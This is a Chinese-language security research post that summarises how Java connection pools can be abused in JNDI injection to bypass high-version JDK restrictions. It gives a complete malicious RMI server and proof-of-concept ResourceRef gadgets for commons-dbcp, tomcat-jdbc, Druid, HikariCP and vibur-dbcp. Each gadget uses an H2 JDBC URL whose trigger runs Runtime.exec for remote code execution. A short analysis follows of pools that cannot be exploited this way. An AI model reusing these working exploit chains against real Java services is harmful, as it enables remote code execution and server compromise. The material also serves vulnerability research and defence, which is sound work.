前言
最初是在浅蓝师傅的JNDI高版本绕过里见到的,最近又碰到了,当时学的也不太全面,这里回过头学一下,对常见的连接池的利用做一个总结
同样的这些也可以作为高版本JDK绕过的getter sinks,本文全篇利用H2数据库用作来演示攻击。
dbcp
可以直接参考https://tttang.com/archive/1405/#toc_dbcp
分为tomcat dbcp和commons-dbcp, 每个又分为两个版本,看情况修改factory名字即可, 这里测试用的是commons-dbcp 1.4的factory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class EvilRmiServer { public static void lanuchRMIregister(Integer rmi_port) throws Exception {
System.out.println("Creating RMI Registry, RMI Port:"+rmi_port); Registry registry = LocateRegistry.createRegistry(rmi_port); ResourceRef ref = exec();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); System.out.println(referenceWrapper.getReference()); }
public static ResourceRef exec() { String factory = "org.apache.commons.dbcp.BasicDataSourceFactory";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,factory,null); ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" + "$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username","root")); ref.add(new StringRefAddr("password","password")); ref.add(new StringRefAddr("initialSize","1")); return ref; }
public static void main(String[] args) throws Exception { lanuchRMIregister(1099); } }
|
测试:
1
| InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://localhost:1099/Exploit");
|
其他:
1 2 3 4
| org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory org.apache.commons.dbcp2.BasicDataSourceFactory org.apache.commons.dbcp.BasicDataSourceFactory
|
tomcat-jdbc
修改factory为org.apache.tomcat.jdbc.pool.DataSourceFactory 即可
druid
测试用的druid最新版1.2.23仍然可以打。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public static ResourceRef exec() { String factory = "com.alibaba.druid.pool.DruidDataSourceFactory";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,factory,null); ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" + "$$\n";
String JDBC_USER = "root"; String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username",JDBC_USER)); ref.add(new StringRefAddr("password",JDBC_PASSWORD)); ref.add(new StringRefAddr("initialSize","1")); ref.add(new StringRefAddr("init","true"));
return ref; }
|
HikariCP
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static ResourceRef exec() { ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"com.zaxxer.hikari.HikariJNDIFactory",null); ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" + "$$\n"; ref.add(new StringRefAddr("jdbcUrl", JDBC_URL)); ref.add(new StringRefAddr("username","")); ref.add(new StringRefAddr("password",""));
return ref; }
|
com.zaxxer.hikari.HikariJNDIFactory
vibur-dbcp
找了个小众的组件看了看。

dataSource.start() 明显就是连接的逻辑。
直接给poc:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public static ResourceRef exec() { ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"org.vibur.dbcp.ViburDBCPObjectFactory",null); ref.add(new StringRefAddr("driverClassName", "org.h2.Driver")); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" + "$$\n"; ref.add(new StringRefAddr("jdbcUrl", JDBC_URL)); ref.add(new StringRefAddr("username","")); ref.add(new StringRefAddr("password",""));
return ref; }
|
其他没法利用的
c3p0
C3p0 低版本0.9只有一个JavaBeanObjectFactory, 可能有点用吧可以调用任意seter。


此处newInstance也没参数可控。
还有一处反序列化:

SerializableUtils#deserializeFromByteArray

JNDI本身就能打反序列化,意义也不大。
稍微高点的版本分了两个包,在mchange-commons-java里,多了一个实现ObjectFactory的类:
DriverManagerDataSource.DmdsObjectFactory#getObjectInstance

这里new了个DriverManagerDataSource,但是很可惜DriverManagerDataSource构造函数就是个赋值,也没法利用

spring-jdbc
出于好奇看了下spring-jdbc这种应该很热门的东西为啥文章里没,全局搜索了下jar包根本就没有implements ObjectFactory的类。
试了2.0 3.0 和6.x的几个版本,也是没有。所以没法利用。
BoneCP
这个倒是有,但是他的getObjectInstance没连接逻辑。

上面都是属性设置,可能有用的就最后两行。
看看BoneCPDataSource的构造函数

反射赋个值,也是利用不了。
参考文章或项目:
https://tttang.com/archive/1405/
https://xz.aliyun.com/t/14044
https://github.com/luelueking/Deserial_Sink_With_JDBC
w